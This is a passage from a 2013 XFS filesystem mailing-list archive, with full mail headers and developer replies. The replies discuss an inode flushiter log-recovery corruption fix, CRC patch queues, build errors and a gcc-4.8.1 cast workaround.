ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374533801 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Jul 22, 2013 at 01:07:32PM +0200, Markus Trippelsdorf wrote: > On 2013.07.22 at 20:18 +1000, Dave Chinner wrote: > > From: Dave Chinner > > > > When we made all inode updates transactional, we no longer needed > > the log recovery detection for inodes being newer on disk than the > > transaction being replayed - it was redundant as replay of the log > > would always result in the latest version of the inode woul dbe on > > disk. It was redundant, but left in place because it wasn't > > considered to be a problem. > > > > However, with the new "don't read inodes on create" optimisation, > > flushiter has come back to bite us. Essentially, the optimisation > > made always initialises flushiter to zero in the create transaction, > > and so if we then crash and run recovery and the inode already on > > disk has a non-zero flushiter it will skip recovery of that inode. > > As a result, log recovery does the wrong thing and we end up with a > > corrupt filesystem. > > > > Because we have to support old kernel to new kernl upgrades, we > > can't just get rid of the flushiter support in log recovery as we > > might be upgrading from a kernel that doesn't have fully transaction > > inode updates. Unfortunately, for v4 superblocks there is no way to > > guarantee that log recovery knows about this fact. > > > > We cannot add a new inode format flag to say it's a "special inode > > create" because it won't be understood by older kernels and so > > recovery could do the wrong thing on downgrade. We cannot specially > > detect the combination of zero mode/non-zero flushiter on disk to > > non-zero mode, zero flushiter in the log item during recovery > > because wrapping of the flushiter can result in false detection. > > > > Hence that makes this "don't use flushiter" optimisation limited to > > a disk format that guarantees that we don't need it. And that means > > the only fix here is to limit the "no read IO on create" > > optimisation to version 5 superblocks.... > > I think your patch misses the following part: > > @@ -1054,17 +1056,15 @@ xfs_iread( > > /* shortcut IO on inode allocation if possible */ > if ((iget_flags & XFS_IGET_CREATE) && > - !(mp->m_flags & XFS_MOUNT_IKEEP)) { > + !(mp->m_flags & XFS_MOUNT_IKEEP) && > + xfs_sb_version_hascrc(&mp->m_sb)) { > /* initialise the on-disk inode core */ > memset(&ip->i_d, 0, sizeof(ip->i_d)); > ip->i_d.di_magic = XFS_DINODE_MAGIC; > ip->i_d.di_gen = prandom_u32(); > - if (xfs_sb_version_hascrc(&mp->m_sb)) { > - ip->i_d.di_version = 3; > - ip->i_d.di_ino = ip->i_ino; > - uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); > - } else > - ip->i_d.di_version = 2; > + ip->i_d.di_version = 3; > + ip->i_d.di_ino = ip->i_ino; > + uuid_copy(&ip->i_d.di_uuid, &mp->m_sb.sb_uuid); > return 0; > } Sure, it's dead code so doesn't affect the behaviour of the patch. I'll update it, but I need you to reproduce the problem in a simple manner as Mark did with this patch in place so I can find out what the real problem you are seeing is.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jul 22 18:32:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 67ABF7F53 for ; Mon, 22 Jul 2013 18:32:50 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id EAA90AC004 for ; Mon, 22 Jul 2013 16:32:46 -0700 (PDT) X-ASG-Debug-ID: 1374535964-04cb6c2a46101c140001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id UTsKdQxTgXnHqbXz for ; Mon, 22 Jul 2013 16:32:45 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjYPAIDA7VF5LPxH/2dsb2JhbABbgwODJrhghSwEAYEVF3SCJAEBBTocIxAIAxgJJQ8FJQMhE4gPuF0WjmOBHQeDEG4Dl1yRToMkKg Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jul 2013 09:02:44 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1Paq-0005II-Ns; Tue, 23 Jul 2013 09:32:40 +1000 Date: Tue, 23 Jul 2013 09:32:40 +1000 From: Dave Chinner To: "Michael L. Semon" Cc: xfs@oss.sgi.com Subject: Re: [PATCH 00/49] xfsprogs: patches for crc-dev branch Message-ID: <20130722233240.GC19986@dastard> X-ASG-Orig-Subj: Re: [PATCH 00/49] xfsprogs: patches for crc-dev branch References: <1374216324-8781-1-git-send-email-david@fromorbit.com> <51EB80DB.80602@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51EB80DB.80602@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374535964 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Sun, Jul 21, 2013 at 02:34:03AM -0400, Michael L. Semon wrote: > On 07/19/2013 02:44 AM, Dave Chinner wrote: > > > Comments, thoughts, flames? > > I was hoping that I could use this 3.12 patchset with a 3.11.0-rc > kernel, but the xfstests look like a disaster by going that way. We'll, if you don't have all the filtering patches that I posted a while back it'll make quite a mess with all the experimental warnings mkfs and repair emit, and the xfs_db tests that modify filesystem structures will all also fail... I'll repost them later today... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jul 22 18:37:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AD1057F53 for ; Mon, 22 Jul 2013 18:37:58 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 38BB6AC006 for ; Mon, 22 Jul 2013 16:37:58 -0700 (PDT) X-ASG-Debug-ID: 1374536276-04cb6c2a46101c600001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id RA7cXGN0t5kGuD0y for ; Mon, 22 Jul 2013 16:37:56 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjcPALPB7VF5LPxH/2dsb2JhbABbgwODJrhghSwEAYEVF3SCJAEBBScTHCMQCAMVAwklDwUlAyETiA+4XhaONC+BEgsHgxBuA5dciiOHK4MkKoE1 Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jul 2013 09:07:55 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1Pfs-0005J1-20; Tue, 23 Jul 2013 09:37:52 +1000 Date: Tue, 23 Jul 2013 09:37:52 +1000 From: Dave Chinner To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: [PATCH 38/49] xfs: refactor xfs_trans_reserve() interface Message-ID: <20130722233752.GD19986@dastard> X-ASG-Orig-Subj: Re: [PATCH 38/49] xfs: refactor xfs_trans_reserve() interface References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <1374215120-7271-39-git-send-email-david@fromorbit.com> <51ED3351.5010304@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51ED3351.5010304@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374536276 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC2_SA016_OB X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.50 BSF_SC2_SA016_OB Custom Rule SA016_OB On Mon, Jul 22, 2013 at 08:27:45AM -0500, Mark Tinguely wrote: > On 07/19/13 01:25, Dave Chinner wrote: > >From: Jie Liu > > > >With the new xfs_trans_res structure has been introduced, the log > >reservation size, log count as well as log flags are pre-initialized > >at mount time. So it's time to refine xfs_trans_reserve() interface > >to be more neat. > > > >Also, introduce a new helper M_RES() to return a pointer to the > >mp->m_resv structure to simplify the input. > > > >Signed-off-by: Jie Liu > >Signed-off-by: Dave Chinner > >--- > > > >+/* shorthand way of accessing reservation structure */ > >+#define M_RES(mp) (&(mp)->m_resv) > > Not a fan of this define- it does not buy much savings in text and clarity. > > Beside my anti-shouty rant, the patch looks good. It's designed to be similar to XFS_I, VFS_I and XFS_M. i.e. short, unique, obviously correct and easy to type. I can change it if you want - I couldn't really think up a better name... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jul 22 18:44:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A7C687F54 for ; Mon, 22 Jul 2013 18:44:02 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1CB2FAC004 for ; Mon, 22 Jul 2013 16:44:02 -0700 (PDT) X-ASG-Debug-ID: 1374536640-04cbb0468e12c2ba0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 0BsF1qAmvMEsWVsh for ; Mon, 22 Jul 2013 16:44:00 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjYPANfC7VF5LPxH/2dsb2JhbABbgwODJrhghSwEAYEVF3SCJAEBBTocIxAIAxgJJQ8FJQMhE4gPuE4WjmOBHQeDEG4DjD6LHocWijiDJCo Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jul 2013 09:13:55 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1Plh-0005Ji-1A; Tue, 23 Jul 2013 09:43:53 +1000 Date: Tue, 23 Jul 2013 09:43:53 +1000 From: Dave Chinner To: "Michael L. Semon" Cc: xfs@oss.sgi.com Subject: Re: [PATCH 00/49] current patch queue for 3.12 Message-ID: <20130722234352.GE19986@dastard> X-ASG-Orig-Subj: Re: [PATCH 00/49] current patch queue for 3.12 References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <51EB7E6B.8080607@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <51EB7E6B.8080607@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374536640 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Sun, Jul 21, 2013 at 02:23:39AM -0400, Michael L. Semon wrote: > On 07/19/2013 02:24 AM, Dave Chinner wrote: > > Hi folks, > > > > The following mass of patches is my current patch queue I have > > pending for the 3.12 cycle. > > OK, it seems to be going okay: The PC is still functioning, even on > a CRC-enabled / partition. The `git am` session had these anomalies: > > # Patch #5 > Applying: xfs: separate dquot on disk format definitions out of xfs_quota.h > /usr/src/kernel-git/linux/.git/rebase-apply/patch:138: trailing whitespace. > * This header file defines all the on-disk format definitions for > warning: 1 line adds whitespace errors. > > # Patch #15 > Applying: xfs: move getdents code into it's own file > /usr/src/kernel-git/linux/.git/rebase-apply/patch:1266: new blank line at EOF. > + > warning: 1 line adds whitespace errors. > > ######## > There were build errors as well with gcc-4.8.1: > > CC fs/xfs/xfs_inode_fork.o > fs/xfs/xfs_inode_fork.c:43:23: fatal error: xfs_utils.h: No such file or directory > #include "xfs_utils.h" > ^ > compilation terminated. > make[2]: *** [fs/xfs/xfs_inode_fork.o] Error 1 > make[1]: *** [fs/xfs] Error 2 > make: *** [fs] Error 2 > # next try... > CC fs/xfs/xfs_inode_fork.o > fs/xfs/xfs_inode_fork.c:49:26: fatal error: xfs_vnodeops.h: No such file or directory > #include "xfs_vnodeops.h" Ah, I thought I caught all of them. I use a rsync'd build tree, and I don't use --delete because that removes all the object files. Hence sometimes I end up with "stale files" that have been removed from the source tree but don't get removed from the build tree and so the build doesn't fail. (I thought I added a "git clean -f -d" to my build script, but on review, that only went into the userspace builds....) > --- a/fs/xfs/xfs_log_rlimit.c > +++ b/fs/xfs/xfs_log_rlimit.c > @@ -137,7 +137,8 @@ xfs_log_calc_minimum_size( > * it up to lsunit boundary if lsunit is specified. > */ > if (lsunit) > - min_logblks = roundup(BTOBB(max_logres), lsunit) + 2 * lsunit; > + min_logblks = roundup((int)BTOBB(max_logres), lsunit) > + + 2 * lsunit; Why did you need that one change? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Jul 22 18:51:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A5D117F5A for ; Mon, 22 Jul 2013 18:51:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3F4A2AC006 for ; Mon, 22 Jul 2013 16:51:16 -0700 (PDT) X-ASG-Debug-ID: 1374537073-04cb6c2a42101d100001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id OX8e70jGTdk8WG87 for ; Mon, 22 Jul 2013 16:51:14 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjcPAPzE7VF5LPxH/2dsb2JhbABbgwODJrhehSwEAYEVF3SCJAEBBTocIxAIAw4KCSUPBSUDIROID7hXFo5jgR0HgxBuA5dckU6DJCo Received: from ppp121-44-252-71.lns20.syd7.internode.on.net (HELO dastard) ([121.44.252.71]) by ipmail07.adl2.internode.on.net with ESMTP; 23 Jul 2013 09:20:59 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1V1PsY-0005KX-54; Tue, 23 Jul 2013 09:50:58 +1000 Date: Tue, 23 Jul 2013 09:50:58 +1000 From: Dave Chinner To: Chandra Seetharaman Cc: XFS mailing list Subject: Re: [PATCH] xfs: Start using pquotaino from the superblock. Message-ID: <20130722235058.GF19986@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: Start using pquotaino from the superblock. References: <1374273362.8941.2086.camel@chandra-dt.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1374273362.8941.2086.camel@chandra-dt.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1374537073 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Jul 19, 2013 at 05:36:02PM -0500, Chandra Seetharaman wrote: > Change from the previous version: > Addressed Ben's comments > - removed unnecessary sb_gquotino == NULLFSINO check in > xfs_sb_quota_to_disk() > - Changed the fs_quota_stat logic to not fail with EINVAL if > both gquota and pquota are available. Instead, fill fs_quota_stat > only with gquota information. > ---- > > Start using pquotino and define a macro to check if the > superblock has pquotino. > > Keep backward compatibilty by alowing mount of older superblock > with no separate pquota inode. > > Signed-off-by: Chandra Seetharaman Chandra, now that this has been comitted, can you make sure that the userspace tools handle the separate pquota inode correctly (i.e. reapir, db, etc). You'll probably be best to work from the crc-dev branch of the xfsprogs tree... Cheers, Dave. -- Dave Chinner david@fromorbit.com From mlsemon35@gmail.com Mon Jul 22 20:00:50 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5D49F7F5D for ; Mon, 22 Jul 2013 20:00:50 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D0F72AC004 for ; Mon, 22 Jul 2013 18:00:46 -0700 (PDT) X-ASG-Debug-ID: 1374541242-04cb6c2a461020ee0001-NocioJ Received: from mail-vb0-f46.google.com (mail-vb0-f46.google.com [209.85.212.46]) by cuda.sgi.com with ESMTP id hKUXG0OXSRVeRRga (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 22 Jul 2013 18:00:42 -0700 (PDT) X-Barracuda-Envelope-From: mlsemon35@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.46 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.46] Received: by mail-vb0-f46.google.com with SMTP id w8so139066vbf.33 for ; Mon, 22 Jul 2013 18:00:42 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.46] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.46] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=JpxNzbKTmW4RcS77rMXVWOsVAbt2Dn/ke7Y1eA2JfnY=; b=DxFi3mSSZhVWBro4FgNGlMrhIh1gmQ+Z62jtiImaHAHUVNqK6bK4pESxD0jcetaNpX McD5QvRBGu3ErcKQSQcqiMy2ye+RuwHaqNaAg3rr8BsPr/v6rWbviO253ZsS3FTQ+X0P TKeTDiqo6t2NEr+B4mc+UM1bFgQQdykm3uiNfR3+TAxHxKM1RZPXzdvuMoDaoYmCgmnV VHyyPpv2WmexbGI9TAmliPQoFsanEHFmkbmLdKO1MChnzHJ867v10biZqchNFSYJHQtm G/y2H77L0x+44c1Ra+PsnTYxGZ0jERBcV6uDbtRS8TgmXv8vz+1MnxanO/7kNJhY7p3P UtOA== MIME-Version: 1.0 X-Received: by 10.58.249.236 with SMTP id yx12mr10149305vec.25.1374541241910; Mon, 22 Jul 2013 18:00:41 -0700 (PDT) Received: by 10.52.115.5 with HTTP; Mon, 22 Jul 2013 18:00:41 -0700 (PDT) In-Reply-To: <20130722234352.GE19986@dastard> References: <1374215120-7271-1-git-send-email-david@fromorbit.com> <51EB7E6B.8080607@gmail.com> <20130722234352.GE19986@dastard> Date: Mon, 22 Jul 2013 21:00:41 -0400 Message-ID: Subject: Re: [PATCH 00/49] current patch queue for 3.12 From: "Michael L. Semon" X-ASG-Orig-Subj: Re: [PATCH 00/49] current patch queue for 3.12 To: Dave Chinner Cc: "xfs@oss.sgi.com" Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-vb0-f46.google.com[209.85.212.46] X-Barracuda-Start-Time: 1374541242 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Jul 22, 2013 at 7:43 PM, Dave Chinner wrote: > On Sun, Jul 21, 2013 at 02:23:39AM -0400, Michael L. Semon wrote: >> On 07/19/2013 02:24 AM, Dave Chinner wrote: >> > Hi folks, >> > >> > The following mass of patches is my current patch queue I have >> > pending for the 3.12 cycle. >> >> OK, it seems to be going okay: The PC is still functioning, even on >> a CRC-enabled / partition. The `git am` session had these anomalies: >> >> # Patch #5 >> Applying: xfs: separate dquot on disk format definitions out of xfs_quota.h >> /usr/src/kernel-git/linux/.git/rebase-apply/patch:138: trailing whitespace. >> * This header file defines all the on-disk format definitions for >> warning: 1 line adds whitespace errors. >> >> # Patch #15 >> Applying: xfs: move getdents code into it's own file >> /usr/src/kernel-git/linux/.git/rebase-apply/patch:1266: new blank line at EOF. >> + >> warning: 1 line adds whitespace errors. >> >> ######## >> There were build errors as well with gcc-4.8.1: >> >> CC fs/xfs/xfs_inode_fork.o >> fs/xfs/xfs_inode_fork.c:43:23: fatal error: xfs_utils.h: No such file or directory >> #include "xfs_utils.h" >> ^ >> compilation terminated. >> make[2]: *** [fs/xfs/xfs_inode_fork.o] Error 1 >> make[1]: *** [fs/xfs] Error 2 >> make: *** [fs] Error 2 >> # next try... >> CC fs/xfs/xfs_inode_fork.o >> fs/xfs/xfs_inode_fork.c:49:26: fatal error: xfs_vnodeops.h: No such file or directory >> #include "xfs_vnodeops.h" > > Ah, I thought I caught all of them. I use a rsync'd build tree, and > I don't use --delete because that removes all the object files. > Hence sometimes I end up with "stale files" that have been removed > from the source tree but don't get removed from the build tree and > so the build doesn't fail. > > (I thought I added a "git clean -f -d" to my build script, but on > review, that only went into the userspace builds....) This was a breeze, anyway. Good work! >> --- a/fs/xfs/xfs_log_rlimit.c >> +++ b/fs/xfs/xfs_log_rlimit.c >> @@ -137,7 +137,8 @@ xfs_log_calc_minimum_size( >> * it up to lsunit boundary if lsunit is specified. >> */ >> if (lsunit) >> - min_logblks = roundup(BTOBB(max_logres), lsunit) + 2 * lsunit; >> + min_logblks = roundup((int)BTOBB(max_logres), lsunit) >> + + 2 * lsunit; > > Why did you need that one change? This fixes a build error with gcc-4.8.1 to do with the roundup() function and calling something like __divdi3. The code compiles without the cast, but without the cast, one of the final kernel link stages fails. include/linux/kernel.h from the kernel source mentioned something about it for gcc-3.3 needing a workaround. I came up with a (const int) cast to kludge xfs_log_rlimit.c. [Without the kernel comments, I wouldn't have found the answer on my own.] Jeff reduced it to just (int), and it works, but I never got his final answer on whether it was the best solution. Should somebody else come across the same issue with gcc-4.8.1--especially on something other than 32-bit x86--I'll push this idea with more confidence. Sorry for the omitted explanation! Michael From markus@trippelsdorf.de Mon Jul 22 20:28:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AF9957F5D for ; Mon, 22 Jul 2013 20:28:31 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3967DAC005 for ; Mon, 22 Jul 2013 18:28:31 -0700 (PDT) X-ASG-Debug-ID: 1374542908-04cb6c2a471022b00001-NocioJ Received: from mail.ud10.udmedia.de (ud10.udmedia.de [194.117.254.50]) by cuda.sgi.com with ESMTP id 0hEYxEuZWdciEbjL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 22 Jul 2013 18:28:29 -0700 (PDT) X-Barracuda-Envelope-From: markus@trippelsdorf.de X-Barracuda-Apparent-Source-IP: 194.117.254.50 DKIM-Signature: v=1; a=rsa-sha256; c=simple; d=mail.ud10.udmedia.de; h= date:from:to:cc:subject:message-id:references:mime-version :content-type:in-reply-to; s=beta; bh=4BXSXjHQGSwoVU1zOP0BUx2zXF lTwzWA/xuzThMwruQ=; b=VzkHuzFkZmasfkR91mjh1wxgYKFVMzeGct4tHHo0BM LZrV3mecrjXQmEw+7H5XtYfF+N9lUCqiP0l/ANuvsm539ylgwqqKLlrY4x3RLNdF GHDlGDnm60vIniDnfSlOcubtN9OxGvBrE5GhlQnYIuxHAQtzoDhDQE6YhJM1SFTr M= Received: (qmail 26897 invoked from network); 23 Jul 2013 03:28:28 +0200 Received: from unknown (HELO x4) (ud10?360p3@91.64.96.185) by mail.ud10.udmedia.de with ESMTPSA (DHE-RSA-AES256-SHA encrypted, authenticated); 23 Jul 2013 03:28:28 +0200 Date: Tue, 23 Jul 2013 03:28:27 +0200 From: Markus Trippelsdorf To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: di_flushiter considered harmful Message-ID: <20130723012827.GA360@x4> X-ASG-Orig-Subj: Re: [PATCH] xfs: di_flushiter considered harmful References: <1374488304-13044-1-git-send-email-david@fromorbit.com> <20130722110732.GA365@x4> <20130722225640.GB19986@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130722225640.GB19986@dastard> X-Barracuda-Connect: ud10.udmedia.de[194.117.254.50] X-Barracuda-Start-Time: 1374542909 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137257 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On 2013.07.23 at 08:56 +1000, Dave Chinner wrote: > On Mon, Jul 22, 2013 at 01:07:32PM +0200, Markus Trippelsdorf wrote: > > On 2013.07.22 at 20:18 +1000, Dave Chinner wrote: > > > From: Dave Chinner > > > > > > When we made all inode updates transactional, we no longer needed > > > the log recovery detection for inodes being newer on disk than the > > > transaction being replayed - it was redundant as replay of the log > > > would always result in the latest version of the inode woul dbe on > > > disk. It was redundant, but 